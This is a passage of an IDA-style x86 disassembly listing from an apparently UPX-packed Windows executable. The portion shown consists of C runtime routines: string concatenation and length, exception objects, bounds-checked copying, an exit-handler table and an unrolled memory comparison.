loc_40227D:				; CODE XREF: sub_402260+2Cj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_4022C3
		test	ecx, 3
		jnz	short loc_40227D
		mov	edi, edi


loc_402290:				; CODE XREF: sub_402260+1Bj
					; sub_402260+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_402290
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_4022D2
		test	ah, ah
		jz	short loc_4022CD
		test	eax, 0FF0000h
		jz	short loc_4022C8
		test	eax, 0FF000000h
		jz	short loc_4022C3
		jmp	short loc_402290
; ---------------------------------------------------------------------------


loc_4022C3:				; CODE XREF: sub_402260+24j
					; sub_402260+5Fj
		lea	edi, [ecx-1]
		jmp	short loc_4022D5
; ---------------------------------------------------------------------------


loc_4022C8:				; CODE XREF: sub_402260+58j
		lea	edi, [ecx-2]
		jmp	short loc_4022D5
; ---------------------------------------------------------------------------


loc_4022CD:				; CODE XREF: sub_402260+51j
		lea	edi, [ecx-3]
		jmp	short loc_4022D5
; ---------------------------------------------------------------------------


loc_4022D2:				; CODE XREF: sub_402260+4Dj
		lea	edi, [ecx-4]


loc_4022D5:				; CODE XREF: sub_402260+5j
					; sub_402260+66j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_4022FE


loc_4022E1:				; CODE XREF: sub_402260+95j
		mov	dl, [ecx]
		add	ecx, 1
		test	dl, dl
		jz	short loc_402350
		mov	[edi], dl
		add	edi, 1
		test	ecx, 3
		jnz	short loc_4022E1
		jmp	short loc_4022FE
; ---------------------------------------------------------------------------


loc_4022F9:				; CODE XREF: sub_402260+B6j
					; sub_402260+D0j
		mov	[edi], edx
		add	edi, 4


loc_4022FE:				; CODE XREF: sub_402260+7Fj
					; sub_402260+97j
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4022F9
		test	dl, dl
		jz	short loc_402350
		test	dh, dh
		jz	short loc_402347
		test	edx, 0FF0000h
		jz	short loc_40233A
		test	edx, 0FF000000h
		jz	short loc_402332
		jmp	short loc_4022F9
; ---------------------------------------------------------------------------


loc_402332:				; CODE XREF: sub_402260+CEj
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_402260+C6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_402347:				; CODE XREF: sub_402260+BEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_402350:				; CODE XREF: sub_402260+88j
					; sub_402260+BAj
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_402260	endp


; =============== S U B	R O U T	I N E =======================================



sub_402358	proc near		; CODE XREF: sub_402371+3Bp
		push	esi
		push	1
		push	offset off_40F030
		mov	esi, ecx
		call	sub_40243F
		mov	dword ptr [esi], offset	off_40C174
		mov	eax, esi
		pop	esi
		retn
sub_402358	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402371	proc near		; CODE XREF: sub_4015B8+2p
					; sub_401679+2p ...

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		jmp	short loc_402386
; ---------------------------------------------------------------------------


loc_402379:				; CODE XREF: sub_402371+20j
		push	[ebp+arg_0]
		call	sub_404EFE
		test	eax, eax
		pop	ecx
		jz	short loc_402395


loc_402386:				; CODE XREF: sub_402371+6j
		push	[ebp+arg_0]
		call	sub_404E31
		test	eax, eax
		pop	ecx
		jz	short loc_402379
		leave
		retn
; ---------------------------------------------------------------------------


loc_402395:				; CODE XREF: sub_402371+13j
		test	byte ptr ds:dword_40FE10, 1
		mov	esi, offset dword_40FE04
		jnz	short loc_4023BC
		or	ds:dword_40FE10, 1
		mov	ecx, esi
		call	sub_402358
		push	offset loc_40B1D1
		call	sub_40268D
		pop	ecx


loc_4023BC:				; CODE XREF: sub_402371+30j
		push	esi
		lea	ecx, [ebp+var_C]
		call	sub_402457
		push	offset dword_40E300
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_C], offset off_40C174
		call	sub_40414D
		int	3		; Trap to Debugger
sub_402371	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4023DB	proc near		; CODE XREF: UPX0:004012C4p
					; UPX0:00401341p ...
		jmp	sub_404F20
sub_4023DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4023E0	proc near		; CODE XREF: sub_4012D1+11p
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax+8], 0
		mov	dword ptr [eax], offset	off_40C1CC
		retn
sub_4023E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4023F1	proc near		; CODE XREF: sub_401A27+2Fp
					; sub_407321+15Dp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi], offset	off_40C1CC
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40242C
		push	eax
		call	sub_4026A0
		mov	esi, eax
		inc	esi
		push	esi
		call	sub_404E31
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[edi+4], eax
		jz	short loc_402430
		push	dword ptr [ebx]
		push	esi
		push	eax
		call	sub_404FAE
		add	esp, 0Ch
		jmp	short loc_402430
; ---------------------------------------------------------------------------


loc_40242C:				; CODE XREF: sub_4023F1+13j
		and	dword ptr [edi+4], 0


loc_402430:				; CODE XREF: sub_4023F1+2Bj
					; sub_4023F1+39j
		mov	dword ptr [edi+8], 1
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_4023F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40243F	proc near		; CODE XREF: sub_402358+Ap

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dword ptr [eax], offset	off_40C1CC
		mov	ecx, [ecx]
		and	dword ptr [eax+8], 0
		mov	[eax+4], ecx
		retn	8
sub_40243F	endp


; =============== S U B	R O U T	I N E =======================================



sub_402457	proc near		; CODE XREF: sub_401826+15p
					; sub_401A27+51p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_40C1CC
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		test	eax, eax
		mov	eax, [ebx+4]
		push	edi
		jz	short loc_4024A4
		test	eax, eax
		jz	short loc_40249E
		push	eax
		call	sub_4026A0
		mov	edi, eax
		inc	edi
		push	edi
		call	sub_404E31
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+4], eax
		jz	short loc_4024A7
		push	dword ptr [ebx+4]
		push	edi
		push	eax
		call	sub_404FAE
		add	esp, 0Ch
		jmp	short loc_4024A7
; ---------------------------------------------------------------------------


loc_40249E:				; CODE XREF: sub_402457+1Ej
		and	dword ptr [esi+4], 0
		jmp	short loc_4024A7
; ---------------------------------------------------------------------------


loc_4024A4:				; CODE XREF: sub_402457+1Aj
		mov	[esi+4], eax


loc_4024A7:				; CODE XREF: sub_402457+36j
					; sub_402457+45j ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_402457	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024AF	proc near		; CODE XREF: sub_4012A3+6j
					; UPX0:004012B7p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_40C1CC
		jz	short locret_4024C4
		push	dword ptr [ecx+4]
		call	sub_404F20
		pop	ecx

locret_4024C4:				; CODE XREF: sub_4024AF+Aj
		retn
sub_4024AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4024C5	proc near		; DATA XREF: UPX0:0040C178o
					; UPX0:0040C1D0o ...
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4024D1
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4024D1:				; CODE XREF: sub_4024C5+5j
		retn
sub_4024C5	endp

; ---------------------------------------------------------------------------


loc_4024D2:				; DATA XREF: UPX0:off_40C1CCo
		push	esi
		mov	esi, ecx
		call	sub_4024AF
		test	byte ptr [esp+8], 1
		jz	short loc_4024E8
		push	esi
		call	sub_4023DB
		pop	ecx


loc_4024E8:				; CODE XREF: UPX0:004024DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024EE	proc near		; CODE XREF: sub_40126B+Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_402500


loc_4024FC:				; CODE XREF: sub_4024EE+4Bj
		xor	eax, eax
		jmp	short loc_402565
; ---------------------------------------------------------------------------


loc_402500:				; CODE XREF: sub_4024EE+Cj
		cmp	[ebp+arg_0], edi
		jnz	short loc_402520


loc_402505:				; CODE XREF: sub_4024EE+5Fj
		call	sub_4053C0
		push	16h
		pop	esi
		mov	[eax], esi


loc_40250F:				; CODE XREF: sub_4024EE+72j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_402191
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_402565
; ---------------------------------------------------------------------------


loc_402520:				; CODE XREF: sub_4024EE+15j
		cmp	[ebp+arg_8], edi
		jz	short loc_40253B
		cmp	[ebp+arg_4], esi
		jb	short loc_40253B
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_405020
		add	esp, 0Ch
		jmp	short loc_4024FC
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_4024EE+35j
					; sub_4024EE+3Aj
		push	[ebp+arg_4]
		push	edi
		push	[ebp+arg_0]
		call	sub_4021D0
		add	esp, 0Ch
		cmp	[ebp+arg_8], edi
		jz	short loc_402505
		cmp	[ebp+arg_4], esi
		jnb	short loc_402562
		call	sub_4053C0
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_40250F
; ---------------------------------------------------------------------------


loc_402562:				; CODE XREF: sub_4024EE+64j
		push	16h
		pop	eax


loc_402565:				; CODE XREF: sub_4024EE+10j
					; sub_4024EE+30j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4024EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_402569	proc near		; CODE XREF: sub_402651+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	ds:dword_410A08
		call	sub_40470B
		push	ds:dword_410A04
		mov	esi, eax
		mov	[esp+1Ch+var_4], esi
		call	sub_40470B
		mov	edi, eax
		cmp	edi, esi
		pop	ecx
		pop	ecx
		jb	loc_40261A
		mov	ebx, edi
		sub	ebx, esi
		lea	ebp, [ebx+4]
		cmp	ebp, 4
		jb	short loc_40261A
		push	esi
		call	sub_4054A6
		mov	esi, eax
		cmp	esi, ebp
		pop	ecx
		jnb	short loc_4025F9
		mov	eax, 800h
		cmp	esi, eax
		jnb	short loc_4025BA
		mov	eax, esi


loc_4025BA:				; CODE XREF: sub_402569+4Dj
		add	eax, esi
		cmp	eax, esi
		jb	short loc_4025D0
		push	eax
		push	[esp+18h+var_4]
		call	sub_40545B
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4025E7


loc_4025D0:				; CODE XREF: sub_402569+55j
		lea	eax, [esi+10h]
		cmp	eax, esi
		jb	short loc_40261A
		push	eax
		push	[esp+18h+var_4]
		call	sub_40545B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40261A


loc_4025E7:				; CODE XREF: sub_402569+65j
		sar	ebx, 2
		push	eax
		lea	edi, [eax+ebx*4]
		call	sub_404694
		pop	ecx
		mov	ds:dword_410A08, eax


loc_4025F9:				; CODE XREF: sub_402569+44j
		push	[esp+14h+arg_0]
		call	sub_404694
		mov	[edi], eax
		add	edi, 4
		push	edi
		call	sub_404694
		pop	ecx
		mov	ds:dword_410A04, eax
		mov	eax, [esp+18h+arg_0]
		pop	ecx
		jmp	short loc_40261C
; ---------------------------------------------------------------------------


loc_40261A:				; CODE XREF: sub_402569+27j
					; sub_402569+37j ...
		xor	eax, eax


loc_40261C:				; CODE XREF: sub_402569+AFj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_402569	endp


; =============== S U B	R O U T	I N E =======================================



sub_402622	proc near		; DATA XREF: UPX0:0040C144o
		push	esi
		push	4
		push	20h
		call	sub_405413
		mov	esi, eax
		push	esi
		call	sub_404694
		add	esp, 0Ch
		test	esi, esi
		mov	ds:dword_410A08, eax
		mov	ds:dword_410A04, eax
		jnz	short loc_40264A
		push	18h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40264A:				; CODE XREF: sub_402622+21j
		and	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
sub_402622	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402651	proc near		; CODE XREF: sub_40268D+4p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_40DE58
		call	__SEH_prolog4
		call	sub_4055A8
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_0]
		call	sub_402569
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_402687
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_402651	endp


; =============== S U B	R O U T	I N E =======================================



sub_402687	proc near		; CODE XREF: sub_402651+28p
					; DATA XREF: UPX1:0040DE70o
		call	sub_4055B1
		retn
sub_402687	endp


; =============== S U B	R O U T	I N E =======================================



sub_40268D	proc near		; CODE XREF: sub_402371+45p
					; sub_405665+44p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_402651
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_40268D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4026A0	proc near		; CODE XREF: sub_401964+7p
					; sub_401D77+24p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_4026D0


loc_4026AC:				; CODE XREF: sub_4026A0+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_402703
		test	ecx, 3
		jnz	short loc_4026AC
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]


loc_4026D0:				; CODE XREF: sub_4026A0+Aj
					; sub_4026A0+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4026D0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_402721
		test	ah, ah
		jz	short loc_402717
		test	eax, 0FF0000h
		jz	short loc_40270D
		test	eax, 0FF000000h
		jz	short loc_402703
		jmp	short loc_4026D0
; ---------------------------------------------------------------------------


loc_402703:				; CODE XREF: sub_4026A0+13j
					; sub_4026A0+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40270D:				; CODE XREF: sub_4026A0+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_402717:				; CODE XREF: sub_4026A0+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_402721:				; CODE XREF: sub_4026A0+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_4026A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40272B	proc near		; CODE XREF: sub_401287+Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_402780
		cmp	[ebp+arg_0], edi
		jnz	short loc_402759


loc_40273E:				; CODE XREF: sub_40272B+31j
		call	sub_4053C0
		push	16h
		pop	esi
		mov	[eax], esi


loc_402748:				; CODE XREF: sub_40272B+44j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_402191
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_402782
; ---------------------------------------------------------------------------


loc_402759:				; CODE XREF: sub_40272B+11j
		cmp	[ebp+arg_8], edi
		jz	short loc_40273E
		cmp	[ebp+arg_4], eax
		jnb	short loc_402771
		call	sub_4053C0
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_402748
; ---------------------------------------------------------------------------


loc_402771:				; CODE XREF: sub_40272B+36j
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_405A70
		add	esp, 0Ch


loc_402780:				; CODE XREF: sub_40272B+Cj
		xor	eax, eax


loc_402782:				; CODE XREF: sub_40272B+2Cj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40272B	endp


; =============== S U B	R O U T	I N E =======================================



sub_402786	proc near		; CODE XREF: UPX0:00402797p
		push	ecx
		mov	dword ptr [ecx], offset	off_40C1EC
		call	sub_405DD5
		pop	ecx
		retn
sub_402786	endp

; ---------------------------------------------------------------------------


loc_402794:				; DATA XREF: UPX0:off_40C1ECo
		push	esi
		mov	esi, ecx
		call	sub_402786
		test	byte ptr [esp+8], 1
		jz	short loc_4027AA
		push	esi
		call	sub_4023DB
		pop	ecx


loc_4027AA:				; CODE XREF: UPX0:004027A1j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4027B0	proc near		; CODE XREF: sub_407321+12Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	ecx, 9
		push	ecx
		add	eax, 9
		push	eax
		call	sub_405E50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		retn	4
sub_4027B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027CB	proc near		; CODE XREF: sub_401D77+37p
					; sub_405F23+F1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		push	edi
		jnz	short loc_4027EB
		cmp	esi, ebx
		jnz	short loc_4027EF
		cmp	[ebp+arg_4], ebx
		jnz	short loc_4027F6


loc_4027E4:				; CODE XREF: sub_4027CB+4Dj
					; sub_4027CB+8Cj
		xor	eax, eax


loc_4027E6:				; CODE XREF: sub_4027CB+44j
					; sub_4027CB+9Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4027EB:				; CODE XREF: sub_4027CB+Ej
		cmp	esi, ebx
		jz	short loc_4027F6


loc_4027EF:				; CODE XREF: sub_4027CB+12j
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		ja	short loc_402811


loc_4027F6:				; CODE XREF: sub_4027CB+17j
					; sub_4027CB+22j ...
		call	sub_4053C0
		push	16h
		pop	esi
		mov	[eax], esi


loc_402800:				; CODE XREF: sub_4027CB+B1j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_402191
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_4027E6
; ---------------------------------------------------------------------------


loc_402811:				; CODE XREF: sub_4027CB+29j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_40281A
		mov	[esi], bl
		jmp	short loc_4027E4
; ---------------------------------------------------------------------------


loc_40281A:				; CODE XREF: sub_4027CB+49j
		mov	edx, [ebp+arg_8]
		cmp	edx, ebx
		jnz	short loc_402825
		mov	[esi], bl
		jmp	short loc_4027F6
; ---------------------------------------------------------------------------


loc_402825:				; CODE XREF: sub_4027CB+54j
		cmp	[ebp+arg_C], 0FFFFFFFFh
		mov	eax, esi
		jnz	short loc_40283C


loc_40282D:				; CODE XREF: sub_4027CB+6Dj
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_402855
		dec	edi
		jnz	short loc_40282D
		jmp	short loc_402855
; ---------------------------------------------------------------------------


loc_40283C:				; CODE XREF: sub_4027CB+60j
					; sub_4027CB+81j
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_40284E
		dec	edi
		jz	short loc_40284E
		dec	[ebp+arg_C]
		jnz	short loc_40283C


loc_40284E:				; CODE XREF: sub_4027CB+79j
					; sub_4027CB+7Cj
		cmp	[ebp+arg_C], ebx
		jnz	short loc_402855
		mov	[eax], bl


loc_402855:				; CODE XREF: sub_4027CB+6Aj
					; sub_4027CB+6Fj ...
		cmp	edi, ebx
		jnz	short loc_4027E4
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jnz	short loc_40286E
		mov	eax, [ebp+arg_4]
		push	50h
		mov	[esi+eax-1], bl
		pop	eax
		jmp	loc_4027E6
; ---------------------------------------------------------------------------


loc_40286E:				; CODE XREF: sub_4027CB+92j
		mov	[esi], bl
		call	sub_4053C0
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_402800
sub_4027CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40287E	proc near		; CODE XREF: sub_401E85+6Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		mov	eax, edi
		sub	eax, 0
		jz	loc_403E76
		dec	eax
		jz	loc_403E65
		dec	eax
		jz	loc_403E37
		dec	eax
		jz	loc_403DEF
		dec	eax
		jz	loc_403D66
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	ebx
		push	20h
		pop	edx
		jmp	loc_402D2E
; ---------------------------------------------------------------------------


loc_4028BC:				; CODE XREF: sub_40287E+4B2j
		mov	esi, [eax]
		cmp	esi, [ecx]
		jz	short loc_40293E
		movzx	esi, byte ptr [eax]
		movzx	ebx, byte ptr [ecx]
		sub	esi, ebx
		jz	short loc_4028E1
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_4028E1:				; CODE XREF: sub_40287E+4Cj
		movzx	esi, byte ptr [eax+1]
		movzx	ebx, byte ptr [ecx+1]
		sub	esi, ebx
		jz	short loc_402902
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402902:				; CODE XREF: sub_40287E+6Dj
		movzx	esi, byte ptr [eax+2]
		movzx	ebx, byte ptr [ecx+2]
		sub	esi, ebx
		jz	short loc_402923
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402923:				; CODE XREF: sub_40287E+8Ej
		movzx	esi, byte ptr [eax+3]
		movzx	ebx, byte ptr [ecx+3]
		sub	esi, ebx
		jz	short loc_402940
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_402940
; ---------------------------------------------------------------------------


loc_40293E:				; CODE XREF: sub_40287E+42j
		xor	esi, esi


loc_402940:				; CODE XREF: sub_40287E+AFj
					; sub_40287E+BEj
		test	esi, esi
		jnz	loc_402D4A
		mov	esi, [eax+4]
		cmp	esi, [ecx+4]
		jz	short loc_4029CE
		movzx	esi, byte ptr [eax+4]
		movzx	ebx, byte ptr [ecx+4]
		sub	esi, ebx
		jz	short loc_402971
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402971:				; CODE XREF: sub_40287E+DCj
		movzx	esi, byte ptr [eax+5]
		movzx	ebx, byte ptr [ecx+5]
		sub	esi, ebx
		jz	short loc_402992
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402992:				; CODE XREF: sub_40287E+FDj
		movzx	esi, byte ptr [eax+6]
		movzx	ebx, byte ptr [ecx+6]
		sub	esi, ebx
		jz	short loc_4029B3
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_4029B3:				; CODE XREF: sub_40287E+11Ej
		movzx	esi, byte ptr [eax+7]
		movzx	ebx, byte ptr [ecx+7]
		sub	esi, ebx
		jz	short loc_4029D0
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_4029D0
; ---------------------------------------------------------------------------


loc_4029CE:				; CODE XREF: sub_40287E+D0j
		xor	esi, esi


loc_4029D0:				; CODE XREF: sub_40287E+13Fj
					; sub_40287E+14Ej
		test	esi, esi
		jnz	loc_402D4A
		mov	esi, [eax+8]
		cmp	esi, [ecx+8]
		jz	short loc_402A5E
		movzx	esi, byte ptr [eax+8]
		movzx	ebx, byte ptr [ecx+8]
		sub	esi, ebx
		jz	short loc_402A01
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402A01:				; CODE XREF: sub_40287E+16Cj
		movzx	esi, byte ptr [eax+9]
		movzx	ebx, byte ptr [ecx+9]
		sub	esi, ebx
		jz	short loc_402A22
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402A22:				; CODE XREF: sub_40287E+18Dj
		movzx	esi, byte ptr [eax+0Ah]
		movzx	ebx, byte ptr [ecx+0Ah]
		sub	esi, ebx
		jz	short loc_402A43
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402A43:				; CODE XREF: sub_40287E+1AEj
		movzx	esi, byte ptr [eax+0Bh]
		movzx	ebx, byte ptr [ecx+0Bh]
		sub	esi, ebx
		jz	short loc_402A60
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_402A60
; ---------------------------------------------------------------------------


loc_402A5E:				; CODE XREF: sub_40287E+160j
		xor	esi, esi


loc_402A60:				; CODE XREF: sub_40287E+1CFj
					; sub_40287E+1DEj
		test	esi, esi
		jnz	loc_402D4A
		mov	esi, [eax+0Ch]
		cmp	esi, [ecx+0Ch]
		jz	short loc_402AEE
		movzx	esi, byte ptr [eax+0Ch]
		movzx	ebx, byte ptr [ecx+0Ch]
		sub	esi, ebx
		jz	short loc_402A91
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402A91:				; CODE XREF: sub_40287E+1FCj
		movzx	esi, byte ptr [eax+0Dh]
		movzx	ebx, byte ptr [ecx+0Dh]
		sub	esi, ebx
		jz	short loc_402AB2
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402AB2:				; CODE XREF: sub_40287E+21Dj
		movzx	esi, byte ptr [eax+0Eh]
		movzx	ebx, byte ptr [ecx+0Eh]
		sub	esi, ebx
		jz	short loc_402AD3
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402AD3:				; CODE XREF: sub_40287E+23Ej
		movzx	esi, byte ptr [eax+0Fh]
		movzx	ebx, byte ptr [ecx+0Fh]
		sub	esi, ebx
		jz	short loc_402AF0
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_402AF0
; ---------------------------------------------------------------------------


loc_402AEE:				; CODE XREF: sub_40287E+1F0j
		xor	esi, esi


loc_402AF0:				; CODE XREF: sub_40287E+25Fj
					; sub_40287E+26Ej
		test	esi, esi
		jnz	loc_402D4A
		mov	esi, [eax+10h]
